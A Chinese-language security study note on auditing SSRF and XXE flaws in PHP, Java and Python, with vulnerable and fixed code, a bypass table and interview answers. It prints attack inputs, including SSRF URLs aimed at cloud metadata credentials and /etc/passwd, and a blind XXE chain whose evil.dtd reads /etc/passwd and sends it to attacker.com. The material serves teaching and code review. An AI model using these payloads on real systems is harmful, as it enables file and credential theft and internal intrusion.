SSRF 与 XXE 审计
SSRF 与 XXE 是两类「服务端被当成跳板 / 解析器被滥用」的漏洞:前者让服务器替攻击者发起任意网络请求,后者让 XML 解析器替攻击者加载外部实体。二者都是代码审计的高频考点——找到 Sink(危险函数),确认目标(URL / XML 输入)用户可控且无任何校验,漏洞即成立。
这篇笔记按「原理 → 各语言怎么审 → 面试速答」组织。每个案例都配了逐行注释的代码和编号的数据流步骤,零基础也能顺着走一遍。
先修知识
读这篇之前,先认识这些词,后面不再重复解释:
- Source(污染源):攻击者能控制的输入,比如
$_GET['url']、HTTP 请求体。审计的第一步永远是找 Source。 - Sink(危险函数/汇聚点):真正干危险事儿的函数,比如
curl_exec()(发网络请求)、builder.parse()(解析 XML)。审计的第二步是找 Sink。 - 数据流(Data Flow):Source 的数据经过哪些变量、函数,最终流进 Sink。审计就是沿着这条路走一遍,看中间有没有过滤。
- SSRF:Server-Side Request Forgery,服务端请求伪造。类比:你让前台小哥”帮我打个电话查个号”,小哥不核实就照打——你把号码换成公司内部总机,小哥就成了你打探内网的工具人。
- XXE:XML External Entity,XML 外部实体注入。类比:合同模板里允许写”此处金额见另一份文件”,对方递上来的合同写”见
/etc/passwd”,办事员真去把那文件抄进了合同正文。 - 内网(Intranet):服务器自己所在的、外网访问不到的内部网络,比如
127.0.0.1、10.x.x.x、192.168.x.x网段。SSRF 的价值就在于攻击者够不着内网,但服务器够得着。 - 云元数据(Metadata):云服务器上有一个内部地址(AWS/阿里云是
169.254.169.254,阿里云另有一个100.100.100.200),访问它能拿到这台机器的临时 AccessKey 等敏感信息。这是 SSRF 最值钱的目标之一。 - 伪协议 / 封装协议(Wrapper / Scheme):URL 开头
xxx://的部分。除了http://,很多语言还支持file://(读本地文件)、gopher://(发任意 TCP 报文)、dict://、ftp://等。SSRF 能玩出花全靠它们。 - 白名单 / 黑名单:白名单=「只放行列表里的」;黑名单=「只拦截列表里的」。安全上黑名单几乎必被绕过,因为变形太多,后面会反复看到。
- XML / DOCTYPE / 实体(Entity):XML 是一种标签化数据格式;DOCTYPE 是文档头部的”声明区”,可以在里面定义实体;实体就是”占位符”,解析时会被替换成它指向的内容(可以是字符串、本地文件、远程 URL)。
- 参数实体(Parameter Entity):以
%开头、只在 DTD 内部使用的实体,是盲 XXE(无回显时把数据偷偷带出去)的核心道具。 - 302 跳转(重定向):服务器回一句”你要的东西在另一个地址”,客户端自动跟过去。SSRF 防御如果只管第一层 URL 不管跳转后的地址,等于白防。
- DNS Rebinding:攻击者控制的域名,第一次解析返回正常 IP(骗过校验),第二次解析返回内网 IP(真实建连)。防它要”校验和建连用同一个 IP”。
第一章 SSRF 审计
通用原理
是什么
SSRF(Server-Side Request Forgery,服务端请求伪造)的成因一句话:服务端根据用户可控的 URL 发起请求,且未对协议与目标地址做白名单校验。
生活化类比:你小区门口的快递代收点提供”代打电话”服务。你报个号码它就打。正常人报外卖电话,坏人报的是小区物业内部对讲机的号码——代收点能打进去,你本人打不进去。SSRF 里,服务器就是这个不加甄别的代收点,内网服务就是那个”只有内部人能打进去的号码”。
为什么会出现这个漏洞
开发者写这类功能时,动机往往很正当、很日常:
- 产品要一个”粘贴图片链接,服务器帮你抓下来存好”的功能;
- 要一个”输入文章 URL,生成标题摘要的预览卡片”;
- 要一个 Webhook:用户填回调地址,出事了服务器主动通知他;
- 要 RSS 订阅导入、在线翻译、“把这张 PDF 转个格式”……
这些需求翻译成代码,自然就是「拿用户给的 URL → 发个请求」。开发者图省事直接 requests.get(用户输入),或者压根不知道 file:// 这种协议也能走通、不知道 127.0.0.1 有一万种写法——漏洞就埋下了。它不是一个” bug “,是一个”没想到”。
攻击者借此能干什么:
- 探测/攻击内网服务:拿服务器当跳板扫内网端口、打内网 Redis(6379)、打内网的管理后台——这些东西外网根本摸不到;
- 读云元数据:访问
http://169.254.169.254/latest/meta-data/(AWS 等)或阿里云100.100.100.200,窃取临时 AccessKey,进而控制整台云主机甚至整个账号; - 读本地文件 / 构造任意报文:
file:///etc/passwd读服务器文件;gopher://手工拼 TCP 报文,直接对内网 Redis、MySQL 等明文协议服务下命令。
审计时怎么找(四步判定法)
- 找 Sink:先搜发起网络请求的函数(各语言清单见下面三节)。比如 PHP 搜
curl_exec,Java 搜RestTemplate,Python 搜requests.get。 - 回溯 Source:看这个函数的 URL 参数从哪来。如果一路能追到
$_GET、@RequestParam、请求体,且中间没有”硬编码替换”或”白名单拦截”,就高度可疑。常见业务形态(远程图片抓取、URL 预览、Webhook、RSS 导入、在线翻译)是重点排查对象。 - 看校验:有没有协议白名单(只允许 http/https)?有没有目标 IP 校验(把域名解析成 IP 后,拒绝内网/回环段)?两个都没有 → 漏洞成立。
- 有校验也别放过,检查能不能绕:302 跳转跟随、DNS rebinding、短网址、
0.0.0.0/[::]、IP 的十进制/八进制/十六进制写法、xip.io/localtest.me这类”解析到内网的公开域名”。
一句话口诀:找发请求的函数 → 追 URL 来源 → 看协议和 IP 两道关 → 有关卡就试绕过。
PHP
Sink 与成因
| Sink | 说明 | 危害 |
|---|---|---|
curl_exec() | 最常见。cURL 支持的协议由编译时的 libcurl 决定,常见可打 http/https/file/ftp/gopher/dict | 内网探测 / 读文件 |
file_get_contents() | 支持 http://、ftp:// 等封装协议,常被当作”读远程内容”的简便写法 | 内网探测 / 读文件 |
fsockopen() | 原始 TCP 连接,可手工构造任意协议报文 | 打内网任意 TCP 服务 |
SoapClient | SOAP 客户端,构造时传入的 WSDL 地址可控即可触发 SSRF | 内网探测 |
成因统一为:URL 参数未校验直接传入上述函数。审计时先全局搜这几个关键字,再逐个回溯参数来源。
案例:远程图片抓取接口(完整回溯)
业务背景:网站允许用户粘贴一个图片 URL,服务器把图抓下来显示给用户。这是很常见的功能,也是很常见的 SSRF 温床。
<?php
// ❌ 漏洞代码:抓取用户指定的远程图片并回显
$url = $_GET['url']; // ① Source:用户输入原样进入,未做任何检查
$ch = curl_init($url); // ② 用用户输入初始化 cURL 会话(此时还没发请求)
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); // ③ 设置"把响应存到变量里返回",而不是直接打印
$content = curl_exec($ch); // ④ Sink:服务器真正发起了请求!目标是用户给的任意地址
curl_close($ch);
header('Content-Type: image/jpeg'); // ⑤ 声明"我返回的是图片"
echo $content; // ⑥ 把抓到的内容回显给攻击者 → 内网服务的响应被带出来了数据流(跟着编号走一遍):
- 用户输入从哪进来:
GET /fetch.php?url=http://example.com/a.jpg,$_GET['url']拿到完整 URL,第 2 行没有任何过滤; - 经过什么处理:
curl_init($url)只是”登记”了目标,CURLOPT_RETURNTRANSFER只是配置项,全程无校验; - 到达哪个危险函数:
curl_exec()(第 6 行)——请求由服务器发出,攻击者自己摸不到的内网,服务器摸得到; - 为什么防线失效:代码里根本没有防线——没查协议(
file://也能跑)、没查目标 IP(127.0.0.1随便打)、还把结果原样回显(第 9 行echo),连”盲打”的限制都没有。
攻击者会怎么用这个接口(把 url 参数换成这些值):
http://127.0.0.1:6379/→ 探测本机 Redis 是否开放,响应回显里能看到 Redis 的报错 Banner;http://192.168.1.1/admin→ 摸内网路由器的管理页;file:///etc/passwd→ cURL 编译时带 file 协议支持的话,直接把服务器密码文件读出来;http://169.254.169.254/latest/meta-data/iam/security-credentials/→ 云主机场景窃取临时凭据。
审计结论:curl_init 的目标 URL 完全由用户控制,无协议白名单、无内网 IP 校验,SSRF 成立。
顺带一个孪生写法:file_get_contents($_GET['url'])——很多教程教人这么”读远程文件”,它默认支持 http/ftp 封装协议,风险与 curl_exec 相同;如果项目里还开了 allow_url_include(允许把远程内容当 PHP 代码 include),风险会直接升级成远程代码执行。
防御与修复
<?php
// ✅ 协议白名单 + 解析后校验目标 IP 非内网
function safeFetch(string $url) {
$parts = parse_url($url); // 把 URL 拆成 scheme/host/path 等零件
if (!in_array($parts['scheme'] ?? '', ['http', 'https'], true)) {
throw new InvalidArgumentException('scheme not allowed'); // 1. 协议白名单:file/gopher/dict 全部出局
}
$ip = gethostbyname($parts['host']); // 2. 把域名解析成 IP(域名本身骗不了人,IP 才算数)
// 3. 拒绝内网/回环/保留地址段(filter_var 的两个 FLAG 就是干这个的)
if (filter_var($ip, FILTER_VALIDATE_IP,
FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) === false) {
throw new InvalidArgumentException('internal ip');
}
$ch = curl_init($url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 4. 禁止 302 跳转跟随(防"先给你正常地址、再跳到内网")
curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // 5. 给 cURL 再钉死一道协议锁
return curl_exec($ch);
}前后对比:漏洞版是”用户给什么就打什么”;修复版多了五道闸——协议白名单 → 域名解析 → IP 段校验 → 禁跳转 → cURL 层再锁一次协议。审计时看到任何一道缺失,都要想想能不能绕。
Warning
只做字符串黑名单(如
strpos($url,'127.0.0.1'))几乎必然可绕:127.1、0x7f000001、2130706433、[::1]、localtest.me等变形都能命中本机——因为127.0.0.1只是”127.0.0.1 这个整数的点分写法”,同一个数有好几种合法写法,字符串匹配拦不全。必须 解析 → 校验 IP → 禁跳转,三步缺一不可。
附:常见绕过变形速查(攻击者视角,审计时拿来对防御代码做对抗检查)
| 变形 | 原理 | 实际指向 |
|---|---|---|
127.1 | 点分十进制允许省略中间的 0 段 | 127.0.0.1 |
0x7f000001 | IP 的十六进制写法 | 127.0.0.1 |
2130706433 | IP 的十进制整数写法(127×2²⁴+1) | 127.0.0.1 |
0177.0.0.1 | 八进制写法 | 127.0.0.1 |
[::1] / [::ffff:127.0.0.1] | IPv6 回环 / IPv4 映射地址 | 本机 |
localtest.me、127.0.0.1.nip.io | 公开域名,DNS 永远解析到 127.0.0.1 | 本机 |
| 短网址(t.cn、bit.ly) | 短链跳转后的真实地址是内网 | 任意 |
| 自建域名 + DNS rebinding | 第一次解析返回公网 IP 骗过校验,第二次返回内网 IP | 任意 |
审计防御代码时,拿这张表逐条”喂”给它的校验逻辑,看哪条能溜过去——能溜过去一条,防御就是纸糊的。
Java
Sink 与成因
| Sink | 典型写法 | 危害 |
|---|---|---|
URL.openConnection / openStream | new URL(u).openConnection() | 内网探测 |
HttpURLConnection | (HttpURLConnection) url.openConnection() | 内网探测 |
Apache HttpClient | HttpClients.createDefault().execute(new HttpGet(u)) | 内网探测 |
Spring RestTemplate | restTemplate.getForObject(u, ...) / exchange(...) | 内网探测 |
OkHttpClient | client.newCall(request).execute() | 内网探测 |
Jsoup.connect | Jsoup.connect(u).get() | 内网探测 |
ImageIO.read(url) | ImageIO.read(new URL(u)) | 图片处理场景的隐式 SSRF |
成因与 PHP 相同:URL 用户可控且无校验。Java 侧额外提醒一点:ImageIO.read(URL) 这类”看起来不是 HTTP 客户端”的调用也会真的发请求——开发者以为自己在”读图片”,实际上在给 SSRF 开门。审计时别只搜带 “http” 字样的类。
审计案例(速览)
// ❌ 漏洞代码:URL 预览接口
@GetMapping("/preview")
public String preview(@RequestParam String url) { // ① Source:url 参数用户可控
// ② 未校验协议、未校验目标 IP
String html = restTemplate.getForObject(url, String.class); // ③ Sink:服务端发请求
return html; // ④ 响应回显 → 内网内容外泄
}数据流:① @RequestParam String url 进来 → ② 直通 RestTemplate → ③ 服务器代为请求 → ④ 回显。和 PHP 案例一模一样的结构,只是换了框架。审计套路完全通用。
防御与修复
URL 解析后做协议(只允许 http/https)+ 目标 IP 白名单双重校验;校验后用解析出的 IP 直接建连(防 DNS rebinding——校验时解析一次是公网 IP,建连时再解析就变成内网 IP 了);禁 302 跳转跟随或逐跳重新校验(HttpURLConnection.setInstanceFollowRedirects(false))。架构允许的话,把出站请求收敛到统一的 egress 网关做集中白名单,比在每段业务代码里写校验可靠得多。
// ✅ 协议白名单 + 解析后校验 IP + 禁跳转(HttpURLConnection 版)
public String safeFetch(String url) throws Exception {
URL u = new URL(url);
String scheme = u.getProtocol();
if (!scheme.equals("http") && !scheme.equals("https")) {
throw new IllegalArgumentException("scheme not allowed"); // 1. 协议白名单
}
InetAddress addr = InetAddress.getByName(u.getHost()); // 2. 域名解析成 IP
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()
|| addr.isAnyLocalAddress() || addr.isLinkLocalAddress()) {
throw new IllegalArgumentException("internal ip"); // 3. 拒绝内网/回环段
}
HttpURLConnection conn = (HttpURLConnection) u.openConnection();
conn.setInstanceFollowRedirects(false); // 4. 禁 302 跳转跟随
conn.setConnectTimeout(5000);
conn.setReadTimeout(5000); // 5. 超时兜底(防慢速拖死线程)
// ... 读取响应
}审计防御代码时重点核对:isSiteLocalAddress()(拦 10/8、172.16/12、192.168/16)和 isLoopbackAddress()(拦 127/8)有没有都调——只调一个是经典漏防。
Python
Sink 与成因
| Sink | 说明 | 判定要点 |
|---|---|---|
requests.get / post(url) | 最常见 | URL 的 scheme/host 是否可控 |
urllib.request.urlopen / urlretrieve | 标准库 | 历史版本对 file:// 支持、对 gopher(经 CRLF 注入)可利用,风险高于 requests |
urllib2.urlopen(Py2) | 老项目 | 同上 |
httpx / aiohttp | 异步 / 新客户端 | 同 requests |
防御与修复
URL 白名单(域名级),解析后校验目标 IP 非内网/回环段;禁重定向跟随或逐跳校验(requests 默认是跟随跳转的,要显式 allow_redirects=False);对 urllib 场景额外限制 scheme 为 http/https。
# ✅ 域名白名单 + 解析后校验 IP + 禁跳转
import ipaddress, socket, requests
def safe_get(url: str) -> bytes:
from urllib.parse import urlparse
u = urlparse(url) # 拆解 URL
if u.scheme not in ("http", "https"):
raise ValueError("scheme not allowed") # 1. 协议白名单
ip = socket.gethostbyname(u.hostname) # 2. 域名解析成 IP
addr = ipaddress.ip_address(ip)
if addr.is_private or addr.is_loopback or addr.is_reserved:
raise ValueError("internal ip") # 3. 拒绝内网/回环/保留段
r = requests.get(url, allow_redirects=False, timeout=5) # 4. 禁跳转 + 超时兜底
return r.content思路和 PHP 版完全同构:协议关 → IP 关 → 跳转关。三个语言背一套思路就够了。
面试题眼速答(SSRF)
| 题眼 | 一句话答案 | 展开两三句 |
|---|---|---|
| SSRF 成因是什么? | 服务端按用户可控的 URL 发起请求,没做协议和目标地址白名单。 | 危害是拿服务器当跳板:探测/攻击内网服务(如 Redis)、读云元数据窃临时凭据、file:// 读本地文件。常见业务场景:远程图片抓取、URL 预览、Webhook、RSS 导入。 |
| PHP 审计 SSRF 搜什么? | curl_exec()、file_get_contents()、fsockopen()、SoapClient。 | file_get_contents 支持 http/ftp 封装协议,常被当”读远程内容”的简便写法而忽视;cURL 可用协议由 libcurl 编译决定,常见 file/gopher/dict。找到 Sink 后回溯 URL 是否用户可控、有无协议与 IP 白名单。 |
| Java 审计 SSRF 搜什么? | URL.openConnection、HttpURLConnection、HttpClient、RestTemplate、OkHttpClient,外加 Jsoup.connect、ImageIO.read(url) 这类隐式请求点。 | ImageIO.read(URL) 最容易漏——开发者以为在”读图片”,实际发了 HTTP 请求。审计时不能只看类名带不带 http。 |
| Python 审计 SSRF 搜什么? | requests.get/post、urllib.request.urlopen/urlretrieve、httpx/aiohttp。 | 注意 urllib 历史版本支持 file://、且经 CRLF 注入可利用 gopher,风险高于 requests;requests 默认跟随 302,防御时要显式 allow_redirects=False。 |
| SSRF 防御要点? | 协议白名单(仅 http/https)→ 解析域名后校验目标 IP 非内网/回环 → 禁 302 跳转跟随或逐跳校验。 | 还要防 DNS rebinding(校验和建连要用同一个 IP)、IP 进制变形(127.1、0x7f000001、2130706433)、短网址、localtest.me 类域名绕过。 |
| 黑名单为什么防不住? | 因为同一个内网地址有无数种合法写法,字符串匹配拦不全。 | 127.1、0x7f000001、2130706433、[::1]、特殊 DNS 域名都能指向本机;正确姿势是把域名解析成 IP 后用 filter_var / ipaddress 做段校验,而不是比字符串。 |
第二章 XXE 审计
通用原理
先补 XML 的三个概念
XXE 的一切都在围绕 XML 文档头部的”声明区”做文章,先把三个词搞明白:
- XML:标签化的数据格式,
<name>张三</name>。老系统、WebService/SOAP、SVG、docx/xlsx 里全是它。 - DOCTYPE:XML 文档开头的”声明区”,形如
<!DOCTYPE name [ ... ]>,方括号里可以定义规则——包括实体。 - 实体(Entity):文档里定义的”占位符”,用法是
&名字;,解析时会被替换成它指向的内容。类比 Word 邮件合并里的«姓名»域——打印时自动换成真人名字。关键问题在于:占位符指向的内容可以是一个外部文件或 URL(用SYSTEM "协议://地址"声明),这就是”外部实体”。
是什么
XXE(XML External Entity,XML 外部实体注入)的成因一句话:XML 解析器默认允许解析 DOCTYPE 中声明的外部实体,应用未显式禁用。
生活化类比:公司规定合同模板里可以写”第 X 条金额见另行提供的文件”,办事员照章办事,对方递来的文件写着”见保险柜里的账本”,办事员真去打开保险柜把账本抄进了合同——规矩本身给了对方调用内部资源的权力。XML 解析器就是这个办事员,DOCTYPE 里的实体声明就是那条”可以见外部文件”的规矩。
攻击者在 XML 里写:
<?xml version="1.0"?> <!-- ① XML 版本声明,固定开头 -->
<!DOCTYPE x [ <!-- ② 打开 DOCTYPE 声明区,x 是文档类型名(随便起) -->
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- ③ 定义外部实体:名字叫 xxe,内容是去读服务器本地文件 -->
]> <!-- ④ 关闭声明区 -->
<name>&xxe;</name> <!-- ⑤ 正文里引用 &xxe; → 解析器把 /etc/passwd 的内容替换进来 -->payload 逐段拆解:
- 第 ① 行:XML 标准头,没什么好说的;
- 第 ② 行:
<!DOCTYPE x [打开声明区——能写 DOCTYPE 是一切的前提,所以修复方案里最狠的一招就是直接禁掉 DOCTYPE; - 第 ③ 行是核心:
<!ENTITY定义实体;xxe是占位符名字;SYSTEM表示”内容来自外部资源”;"file:///etc/passwd"是资源地址——把file://换成http://就从读文件变成了发网络请求; - 第 ⑤ 行:
&xxe;触发替换。解析器读到它 → 按声明去读/etc/passwd→ 把文件内容塞进<name>节点 → 应用如果把这个节点的值回显出来,文件内容就到攻击者手里了。
由此衍生出四种危害:
- 任意文件读取(
file://)——最经典; - SSRF(
http://指向内网)——和第一章联动,解析器替你发请求; - 盲 XXE 外带:应用不回显节点内容时,用参数实体(
%开头的实体)先把文件内容读出来,再拼进一个指向攻击者服务器的 URL 里让解析器去请求——数据藏在 URL 里被带出去。典型打法分两个文件:
<!-- 攻击者发给目标的 XML(实体名带 %,是参数实体,只在声明区内部使用) -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd"> <!-- ① 让解析器去攻击者服务器拉外部 DTD -->
%dtd; <!-- ② 引用它 → evil.dtd 里的实体链开始生效 -->
]>
<root></root><!-- 攻击者服务器上的 evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- ③ 读目标服务器的文件,内容存进 %file -->
<!ENTITY % send "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>"> <!-- ④ 动态定义实体,URL 里拼上文件内容 -->
%send; <!-- ⑤ 触发上面的定义 -->
%exfil; <!-- ⑥ 触发请求 → 文件内容出现在攻击者访问日志里 -->链条逻辑:目标解析器拉外部 DTD(①②)→ DTD 里先读文件(③)再定义一个”回传专用”实体(④⑤)→ 解析器请求攻击者服务器时把文件内容放在 URL 参数里(⑥)→ 攻击者看自己服务器的访问日志即得数据。注意 ④ 里的 % 是 % 的字符实体写法——DTD 里不能直接在定义中嵌套裸 %,必须这么转义。这套链成立的前提是外部参数实体没被禁——这就是为什么修复时 external-parameter-entities=false 和禁通用实体同样重要;
4. 部分场景还能打内网服务、用 expect:// 执行命令(依赖 PHP 装了 expect 扩展等特定环境,不常见但面试会问)。
为什么会出现这个漏洞
XML 诞生于”文档交换”年代,设计上就鼓励文档”自描述、可引用外部资源”,所以外部实体是标准功能,不是 bug。解析器厂商按标准实现,默认全开;开发者调 parse() 时想着”我就是解析个用户上传的 XML 配置”,不知道(或没意识到)默认配置等于把文件系统和内网交给了 XML 内容的作者。默认配置即漏洞——这是 XXE 和绝大多数漏洞画风不一样的地方,也是它好审的原因。
审计时怎么找(三步判定法)
- 找 XML 解析 Sink:搜各语言的解析器创建/解析调用(下面三节有清单);
- 确认输入用户可控:解析的内容来自请求体、上传文件、远程拉取的 XML;
- 看安全配置:是否显式禁用了 DOCTYPE 声明与外部实体。没配 = 默认危险 = 漏洞成立。注意:XXE 的审计结论往往不需要追踪复杂数据流——“解析不可信 XML + 没关实体”这八个字就够判了。
Java
Sink 与成因
| Sink | 说明 |
|---|---|
DocumentBuilderFactory.newInstance | DOM 解析,默认不禁 DOCTYPE / 外部实体 |
SAXParserFactory.newInstance | SAX 解析,默认同样危险 |
XMLInputFactory.newInstance | StAX 解析 |
XMLReader | SAX 底层接口 |
dom4j SAXReader | 第三方库,默认危险 |
JDOM SAXBuilder | 第三方库 |
TransformerFactory / XPathFactory | XSLT 转换 / XPath 求值,同样会解析实体 |
Java 生态 XML 解析器特别多(历史包袱重),审计时把上面这张表挨个搜一遍,一个都别漏。
案例:DocumentBuilderFactory 回溯
业务背景:后台有一个”导入 XML 配置”的接口,接收前端 POST 上来的 XML 并解析。
@RestController
public class XmlController {
// ❌ 漏洞代码:解析用户上传的 XML
@PostMapping("/api/import")
public String importXml(@RequestBody String xml) throws Exception { // ① Source:整个请求体是攻击者写的
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); // ② 拿解析器工厂——默认配置,没关任何功能
DocumentBuilder builder = factory.newDocumentBuilder(); // ③ 由工厂造出解析器(继承默认配置)
Document doc = builder.parse(new InputSource(new StringReader(xml))); // ④ Sink:解析不可信 XML,DOCTYPE/外部实体照单全收
return doc.getElementsByTagName("name").item(0).getTextContent(); // ⑤ 把 <name> 节点的值回显给攻击者
}
}数据流(编号走一遍):
- 用户输入从哪进来:
POST /api/import,请求体就是攻击者构造的 XML(含上面拆解过的<!ENTITY xxe SYSTEM "file:///etc/passwd">); - 经过什么处理:第 ②③ 行创建工厂和解析器——注意这两行什么都没配,这就是”防线失效”的位置,危险不在这两行写了什么,而在什么都没写;
- 到达哪个危险函数:
builder.parse()(第 ④ 行)。解析器读到&xxe;→ 按声明读/etc/passwd→ 替换进<name>节点; - 为什么防线失效:JDK 的 JAXP 实现默认允许 DOCTYPE 和外部实体,必须显式调
setFeature关闭。本例一个setFeature都没调,外加第 ⑤ 行把节点内容回显,读到的文件内容直接回到攻击者眼前。把实体地址换成http://192.168.x.x就是 SSRF;换参数实体 + 外部 DTD 就是盲 XXE 外带。
审计结论:DocumentBuilderFactory 未做任何安全配置即解析外部 XML,XXE 成立。同类 Sink(SAXParserFactory、XMLInputFactory、dom4j SAXReader)同样默认危险——审计时见到这些类的 newInstance/new SAXReader 且后面没有一串 setFeature/setProperty,直接标高危再核对。
防御与修复
// ✅ 关闭 DTD 与外部实体(俗称"五连配置")
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); // 1. 最狠的一招:整个 DOCTYPE 都不许出现
factory.setFeature("http://xml.org/sax/features/external-general-entities", false); // 2. 禁用外部通用实体(&xxe; 这种)
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false); // 3. 禁用外部参数实体(%dtd; 这种,堵盲 XXE)
factory.setXIncludeAware(false); // 4. 关掉 XInclude(DOCTYPE 之外的另一条引用外部资源的通道)
factory.setExpandEntityReferences(false); // 5. 不展开实体引用,双保险Warning
三件套建议全部显式设置:
disallow-doctype-decl=true单设即可拦下整个 DOCTYPE(此时文档内无法声明任何实体,含参数实体),但并非所有 JAXP 实现都支持该 feature(不支持的实现会抛异常或静默忽略),且 DOCTYPE 之外还有 XInclude 等向量——因此工程上disallow-doctype-decl/external-general-entities/external-parameter-entities全部显式设置,并补setXIncludeAware(false) + setExpandEntityReferences(false)。更省心的方案是换用不解析实体的库(Jackson XML 默认安全)。审计时的反面清单:见到只设了其中一两条 feature、或用
try/catch把setFeature异常吞掉的写法,都要按”配置不完整”继续深挖。
PHP
Sink 与成因
| Sink | 说明 | 危害 |
|---|---|---|
simplexml_load_string() / simplexml_load_file() | SimpleXML 解析 | 文件读取 / SSRF |
SimpleXMLElement(new) | 同上 | 文件读取 / SSRF |
DOMDocument::loadXML() / load() | DOM 解析 | 文件读取 / SSRF |
成因:未调用 libxml_disable_entity_loader(true)。版本分界:PHP < 8 需手动关闭外部实体加载;PHP 8 起 libxml 默认禁用外部实体加载(libxml_disable_entity_loader() 自 8.0 起被废弃),风险大幅降低——但”大幅降低”不等于没有,见下面的 LIBXML_NOENT。
LIBXML_NOENT 风险:即使实体加载器已禁用,解析时显式传入 LIBXML_NOENT 标志会强制替换(展开)实体,等于人为把 XXE 又打开了。审计时见到 simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT) 或 DOMDocument::loadXML($xml, LIBXML_NOENT) 直接判高危。
// ❌ 危险写法一:LIBXML_NOENT 强制展开实体(PHP 8 也救不了)
$xml = simplexml_load_string($_POST['xml'], 'SimpleXMLElement', LIBXML_NOENT);
// ❌ 危险写法二:PHP < 8 下未禁用实体加载器(默认是开启的)
$xml = simplexml_load_string($_POST['xml']);审计步骤:① 搜 simplexml_load_string / simplexml_load_file / SimpleXMLElement / DOMDocument::loadXML / load( → ② 看解析的字符串是不是用户可控 → ③ 看前面有没有 libxml_disable_entity_loader(true)、参数里有没有 LIBXML_NOENT。有 NOENT 直接判;没有则看 PHP 版本,< 8 且没禁用加载器 → 判。
防御与修复
// ✅ PHP < 8:解析前全局禁用外部实体加载器
libxml_disable_entity_loader(true); // 全局开关:之后所有 libxml 解析都不再加载外部实体
$xml = simplexml_load_string($input); // 注意:不传 LIBXML_NOENT配套措施:解析参数绝不带 LIBXML_NOENT / LIBXML_DTDLOAD / LIBXML_DTDATTR(后两个会加载外部 DTD);升级到 PHP 8+;能从协议层换 JSON 就不用 XML——没有 XML 就没有 XXE。
Python
Sink 与成因
Python 的画风不太一样:标准库的 XML 解析(xml.etree.ElementTree、xml.dom.minidom 等)对外部实体默认不展开,经典 file:///etc/passwd 那套打不动它——但别高兴太早:
- 多数实现仍受**实体膨胀攻击(Billion Laughs)**影响:DOCTYPE 里定义一串互相引用的实体,一个
&lol9;展开成几个 GB 的文本,直接把服务器内存打爆(拒绝服务); - 外部 DTD 获取等场景仍有残留风险;
- 第三方库
lxml默认会解析实体,经典 XXE 在 lxml 上是成立的。
所以 Python 的审计关键字是:xml.etree / minidom / expat / lxml 的解析调用,重点看 lxml。
防御与修复
防御的”标准答案”是换用 defusedxml(一个专门给各标准解析器打安全补丁的库,API 与标准库一致):
# ❌ 有风险:标准库解析不可信 XML
import xml.etree.ElementTree as ET
root = ET.fromstring(untrusted_xml) # 实体膨胀 / 外部 DTD 等攻击面仍在
# ❌ 更危险:lxml 默认配置(会解析实体,经典 XXE 成立)
from lxml import etree
root = etree.fromstring(untrusted_xml)
# ✅ 安全:defusedxml 默认拒绝实体、DTD、外部引用
from defusedxml.ElementTree import fromstring
root = fromstring(untrusted_xml)
# ✅ 必须用 lxml 时:显式构造安全 parser
from lxml import etree
parser = etree.XMLParser(resolve_entities=False, no_network=True) # 不解析实体 + 禁止网络访问
root = etree.fromstring(untrusted_xml, parser=parser)审计要点:搜 xml.etree/minidom/expat/lxml 的解析调用 → 看输入是否不可信 → 是否已替换为 defusedxml(或在 lxml 中显式 resolve_entities=False, no_network=True)。lxml 场景必须确认构造了安全 parser——etree.fromstring(x) 裸调即漏洞。
面试题眼速答(XXE)
| 题眼 | 一句话答案 | 展开两三句 |
|---|---|---|
| XXE 成因是什么? | XML 解析器默认允许解析 DOCTYPE 里声明的外部实体,应用没有显式禁用。 | 外部实体用 SYSTEM "协议://地址" 声明,解析时内容被替换进文档:file:// 任意文件读取、http:// 打内网(SSRF)、参数实体 + 外部 DTD 做盲 XXE 外带,特定环境还能 expect:// 执行命令。 |
| Java 审计 XXE 怎么判? | 找到解析器创建点,看有没有显式禁用 DOCTYPE 和外部实体——默认配置即漏洞。 | Sink 清单:DocumentBuilderFactory、SAXParserFactory、XMLInputFactory、XMLReader、dom4j SAXReader、JDOM SAXBuilder、TransformerFactory/XPathFactory。见到 newInstance 后没有一串 setFeature 基本就能判。 |
| Java XXE 修复要点? | 三件套全设,再补 XInclude 和实体展开两道闸。 | disallow-doctype-decl=true + external-general-entities=false + external-parameter-entities=false,外加 setXIncludeAware(false) + setExpandEntityReferences(false);更省心的方案是换 Jackson XML(默认不解析实体)。 |
| PHP XXE 版本分界? | PHP < 8 要手动 libxml_disable_entity_loader(true),PHP 8 起 libxml 默认禁用外部实体加载。 | 但解析参数带 LIBXML_NOENT 会强制展开实体,PHP 8 也照样中招——审计时见到 LIBXML_NOENT(以及 LIBXML_DTDLOAD/DTDATTR)直接判高危。 |
| PHP 审计 XXE 搜什么? | simplexml_load_string/load_file、SimpleXMLElement、DOMDocument::loadXML()。 | 先看输入是否用户可控,再看有没有禁用实体加载器、参数里有没有 LIBXML_NOENT。简单记:有 NOENT 必死,没禁加载器看版本。 |
| Python XXE 怎么防? | 统一换 defusedxml;lxml 必须显式 resolve_entities=False, no_network=True。 | 标准库默认不展开外部实体(经典读文件打不动),但仍有实体膨胀(Billion Laughs,拒绝服务)和外部 DTD 风险;lxml 默认解析实体,裸调 etree.fromstring 即漏洞。 |
| 盲 XXE 怎么把数据带出来? | 用参数实体先把文件读出来,再拼进指向攻击者服务器的 URL 让解析器去请求。 | 适用于应用不回显节点内容的场景:XML 里引外部 DTD(<!ENTITY % dtd SYSTEM "http://攻击者/evil.dtd">),evil.dtd 里定义”读文件→拼 URL→发起请求”的参数实体链,数据藏在请求 URL 里外带。 |